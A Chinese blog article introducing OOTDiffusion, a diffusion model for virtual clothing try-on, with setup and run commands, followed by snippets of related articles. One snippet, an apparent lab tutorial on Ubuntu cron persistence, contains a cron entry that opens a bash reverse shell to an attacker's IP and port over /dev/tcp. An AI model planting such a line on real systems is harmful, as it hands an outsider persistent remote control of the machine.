一键换衣,这个AI可以让你实现穿衣自由

基于图像的虚拟穿衣是一种流行且前景广阔的图像合成技术,能够显著改善消费者的购物体验,并降低服装商家的广告成本。顾名思义,虚拟穿衣任务旨在生成目标人穿着给定服装的图像。

OOTDiffusion简述

图1 虚拟换衣

基于图像的虚拟穿衣目前面临两个主要挑战:

首先,生成的图像应足够逼真和自然,以避免不和谐感。大多数最近关于虚拟试穿的研究利用生成对抗网络(GANs)或潜在扩散模型(LDMs)进行图像生成。先前基于GAN的方法通常难以生成正确的服装褶皱、自然的光影或逼真的人体。因此,更多近期的工作倾向于基于LDM的方法,这些方法有效提高了试穿图像的逼真度。

第二个关键挑战是尽可能保留服装的细节特征,如复杂的文本、纹理、颜色、图案和线条等。先前的研究执行显式的变形过程,将服装特征与目标人体对齐,然后将变形后的服装输入到生成模型(即GANs和LDMs等)中。因此,这种方法的性能极大地依赖于独立变形过程的有效性,而这一过程容易对训练数据过拟合。

图2 OOTDiffusion模型

鉴于上述问题的前景和挑战,一种新颖的基于LDM的虚拟试穿方法,称为Outfitting over Try-on Diffusion(OOTDiffusion;见图2)被提出。

  1. 首先,充分利用预训练的潜在扩散模型的优势,确保生成图像的高逼真度和自然的试穿效果,并设计了一种装配UNet模型,以在潜在空间中进一步学习服装的细节特征。
  2. 然后,OOTDiffusion提出了一种装配融合过程,以在去噪UNet的自注意力层中精确对齐服装特征与噪声人体。通过这种方式,服装特征能够顺利适应各种目标人体类型和姿势,而不会因独立变形过程而导致信息丢失或特征扭曲。

图3 OOTDiffusion 丢弃操作

  1. 此外,OOTDiffusion执行了一种装配丢弃操作,在训练中随机丢弃少量服装潜变量,以启用关于服装特征的无分类器。通过这种方法,可以简单地通过指导尺度调整服装控制对生成结果的影响,从而进一步增强OOTDiffusion方法的可控性。
  2. OOTDiffusion模型左侧部分,服装图像被编码到潜在空间,并输入到装配UNet中进行单步处理。由CLIP编码器生成的条件输入,服装特征通过装配融合被引入到去噪UNet模型中。特别是在训练过程中,对服装潜变量执行装配丢弃操作,以启用无分类器指导操作。右侧部分,输入的人体图像根据目标区域进行遮罩,并与高斯噪声拼接,作为去噪UNet的输入进行多次采样。去噪后,特征图被解码回图像空间,作为模型的试穿结果进行输出。

OOTDiffusion模型生成的效果与其他模型对比,有了较大的提升,可以从对比图可以看出,OOTDiffusion模型生成的效果并没有改变服装的特性,而其他的模型多多少少更改了服装的特性,给人的感觉并没有换上合适的衣服。

图4 模型对比

OOTDiffusion实战

OOTDiffusion是一个开源的项目,且提供了预训练模型,大家可以在GitHub上面找到相关的下载链接,下载预训练权重,然后复制整个模型空间的代码就可以实现虚拟换衣操作了。当然在实现虚拟换衣代码前,需要安装相关的第三方库以及相关的torch环境。最后可以直接使用cmd窗口中进行代码的实现。

git clone https://github.com/levihsu/OOTDiffusion
conda create -n ootd python==3.10
conda activate ootd
pip install torch==2.0.1 torchvision==0.15.2 torchaudio==2.0.2
pip install -r requirements.txt
# 只换半身衣服
cd OOTDiffusion/run
python run_ootd.py --model_path <model-image-path> --cloth_path <cloth-image-path> --scale 2.0 --sample 4

#换全身衣服
cd OOTDiffusion/run
python run_ootd.py --model_path <model-image-path> --cloth_path <cloth-image-path> --model_type dc --category 2 --scale 2.0 --sample 4

OOTDiffusion提供了2种预训练模型,半身模型与全身模型。本身模型可以换上半身服装,而全身模型,不仅可以换上半身的衣服,还可以换下半身的服装。代码执行时,需要指定模型与换的衣服。

图5 OOTDiffusion更换下半身服装

当然代码实现,需要一定的技术手段,需要稍微懂一些编程技术,而OOTDiffusion模型已经上架到了hugging face上,其hugging face提供免费使用的GUI使用界面。只需要在GUI界面上,选择或者上传自己的图片,并选择或者上传需要换的服装,点击run即可,等待一段时间后,模型会自动生成对应的换衣效果。

图6 hugging face 体验界面

图7 hugging face体验界面

当然hugging face也提供全身换衣服的模型,可以在GUI界面选择上身服装与下身服装进行换衣,或者选择一个裙子进行整体服装更换。

图8 OOTDiffusion更换裙子

图9 OOTDiffusion更换上半身服装

https://github.com/levihsu/OOTDiffusion?tab=readme-ov-file
https://arxiv.org/abs/2403.01779
https://huggingface.co/spaces/levihsu/OOTDiffusion

更多transformer,VIT,swin tranformer
参考头条号:人工智能研究所
v号:启示AI科技
 

 动画详解transformer  在线教程

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/789987.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

什么是CAP理论及应用场景,为什么只能进行3选2

在理论计算机科学中&#xff0c;CAP定理&#xff08;CAP theorem&#xff09;&#xff0c;又被称作布鲁尔定理&#xff08;Brewers theorem&#xff09;&#xff0c;它指出对于一个分布式计算系统来说&#xff0c;不可能同时满足以下三点&#xff1a; 1、 一致性&#xff08;C…

【教程】Hexo 部署到 Github Page 后,自定义域名失效的问题

目录 前言&问题描述解决方案细节 前言&问题描述 近期给 Github Page 上托管的静态网站映射了自定义域名&#xff08;aiproducthome.top&#xff09;&#xff0c;之后发现每次更新并部署 hexo 到 Github Page &#xff08;hexo d&#xff09;后就会出现自定义域名失效的…

【pyqt-实训训练LOG】串口助手

串口助手 前言一、ui设计二、ui的控件命名三、ui转py使用类的方法【扩展】使用ui文件导入&#xff01;P7的小错误解决办法 总结 前言 我的惯例就是万物之始&#xff0c;拜见吾师&#x1f970;⇨pyqt串口合集 最开始的时候我想的是&#xff0c;学了那么久的pyqt&#xff0c;我…

【idea 修改VM配置,无法启动;必杀技】

idea 修改VM配置&#xff0c;无法启动&#xff1b;必杀技 报错信息 error launching idea failed to created JVM 解决方案 不要管你安装的环境在哪&#xff0c;使用了什么破解插件。统统不管用。直接找到C:\Users\YOURWORLD\AppData\Roaming\JetBrains下的idea中的idea64…

换新启航环游浪漫新篇章

✨&#x1f389;【焕新启航&#xff0c;环游浪漫新篇章 —— 《焕新环游传》盛大开播】&#x1f389;✨在时光的温柔转角&#xff0c;一场前所未有的梦幻之旅悄然拉开序幕&#xff01;&#x1f31f;《焕新环游传》—— 这不仅仅是一部剧集的开播&#xff0c;更是对过往角色遗憾…

从0开始的STM32HAL库学习1

基础外设初始化配置步骤 本学习以stm32f103c8t6为主控芯片学习。配合DMK-Keil使用&#xff0c;因为cubeide我还没找到很好的教程&#xff0c;而且用了几次发现不会用&#xff0c;所以还是先学习hal库&#xff0c;等hal库学习完之后再用学习使用cubeide&#xff0c;两者使用应该…

【论文阅读】Characterization of Large Language Model Development in the Datacenter

26.Characterization of Large Language Model Development in the Datacenter 出处: NSDI-2024 数据中心中大型语言模型开发的表征InternLM/AcmeTrace (github.com) 摘要 大语言模型&#xff08;LLMs&#xff09;在许多任务中表现出色。然而&#xff0c;要高效利用大规模集…

技术速递|宣布为 .NET 升级助手提供第三方 API 和包映射支持

作者&#xff1a;Marco Goertz 排版&#xff1a;Alan Wang .NET 升级助手是一个 Visual Studio 扩展和命令行工具&#xff0c;可帮助您将应用从之前的 .NET 和 .NET Framework 升级到最新版本的 .NET。正如我们在之前的文章中所描述的那样&#xff0c;它为升级 Microsoft 库和框…

短视频矩阵系统多账号搭建技术源码(saas开发者技术独立搭建)

在构建云服务环境以部署虚拟机方面&#xff0c;以Amazon Web Services&#xff08;AWS&#xff09;为示例&#xff0c;需采购并配置适当数量的EC2实例以及相关网络设施。 接下来&#xff0c;根据业务需求&#xff0c;应创建多个社交媒体平台如抖音和快手的官方账户&#xff0c;…

(一)、python程序--模拟电脑鼠走迷宫

一、绪论 1、简介 电脑鼠走迷宫是一种比赛&#xff0c;制作实物电脑鼠小车在迷宫找目标点&#xff0c;用时最短者获胜。考验参赛选手软硬件结合的能力。 2、走迷宫模拟软件中已实现功能 1、点击迷宫墙壁可编辑迷宫&#xff0c;并且可保存和加载迷宫形状文件&#xff1b; 2、…

设计模式探索:适配器模式

1. 适配器模式介绍 1.1 适配器模式介绍 适配器模式&#xff08;adapter pattern&#xff09;的原始定义是&#xff1a;将一个类的接口转换为客户期望的另一个接口&#xff0c;适配器可以让不兼容的两个类一起协同工作。 适配器模式的主要作用是把原本不兼容的接口&#xff0c…

告别推广分成结算烦恼,Xinstall助力精准统计,让收益一目了然!

在快速变化的互联网环境中&#xff0c;App的推广与运营面临着前所未有的挑战。传统的营销手段已经难以应对当前复杂的市场环境&#xff0c;特别是在推广分成结算这一环节&#xff0c;往往成为众多企业的痛点。然而&#xff0c;有了Xinstall的加入&#xff0c;这一切都将变得不同…

centos系统查找mysql的配置文件位置

执行命令查找mysql的安装目录&#xff1a; which mysql cd进入mysql的安装目录 cd /usr/bin 查找配置文件位置 ./mysql --help | grep "my.cnf" 定位配置文件 cd /etc 查找命令还可以用find命令 find / -name "my.cnf"

第六次作业

一、视图作业 1、创建视图v_emp_dept_id_1&#xff0c;查询销售部门的员工姓名和家庭住址 2、创建视图v_emp_dept&#xff0c;查询销售部门员工姓名和家庭住址及部门名称。 3、创建视图v_dept_emp_count(dept_name,emp_count,avg_salay)&#xff0c;统计每个部门人数并计算平均…

78000A 信号分析软件

思仪(Ceyear) 78000A 信号分析软件 78000A 信号分析软件是一款能够在电脑上运行的应用软件&#xff0c;预留了开放式的 SCPI 控制指令&#xff0c;可以远程控制信号/频谱分析仪采集数据&#xff0c;也可以回放仿真数据或者采集的历史数据文件&#xff0c;执行通用频谱测量、矢…

RK3568平台(opencv篇)opencv处理图像视频

一.读取图像文件并展示 灰度图像&#xff1a; 灰度图需要用 8 位二进制来表示&#xff0c;取值范围是 0-255。用 0 表示 0&#xff08;黑色&#xff09;&#xff0c; 用 255 表示 1&#xff08;白色&#xff09;&#xff0c;取值越大表示该点越亮。 RGB 彩色图像&#xff1a;…

愚人杯的RE题

easy_pyc pyc反编译成py文件 # uncompyle6 version 3.9.1 # Python bytecode version base 2.7 (62211) # Decompiled from: Python 3.11.8 (tags/v3.11.8:db85d51, Feb 6 2024, 22:03:32) [MSC v.1937 64 bit (AMD64)] # Embedded file name: enpyc.py # Compiled at: 2023…

realsense D435l+mid360标定

目录 一、安装realsense环境 二、获取realsense D450L相机内参 三、标定雷达和相机 1.下载livox_camera_calib 2.修改配置参数 3.使用fastlio生成点云 4.标定 一、安装realsense环境 git clone https://github.com/IntelRealSense/librealsense.git cd librealsense //更…

ubuntu计划任务反弹

实验环境 攻击者 操作系统&#xff1a;kali IP&#xff1a;192.168.244.141 目标主机 操作系统&#xff1a;ubuntu IP&#xff1a;192.168.244.151 实验步骤 目标主机构造任务计划 构造语句 * * * * * /bin/bash -c bash -i >& /dev/tcp/{ip}/{port} 0>&…

硅谷甄选运营平台-vue3组件通信方式

vue3组件通信方式 vue2组件通信方式&#xff1a; props:可以实现父子组件、子父组件、甚至兄弟组件通信自定义事件:可以实现子父组件通信全局事件总线$bus:可以实现任意组件通信pubsub:发布订阅模式实现任意组件通信vuex:集中式状态管理容器&#xff0c;实现任意组件通信ref:父…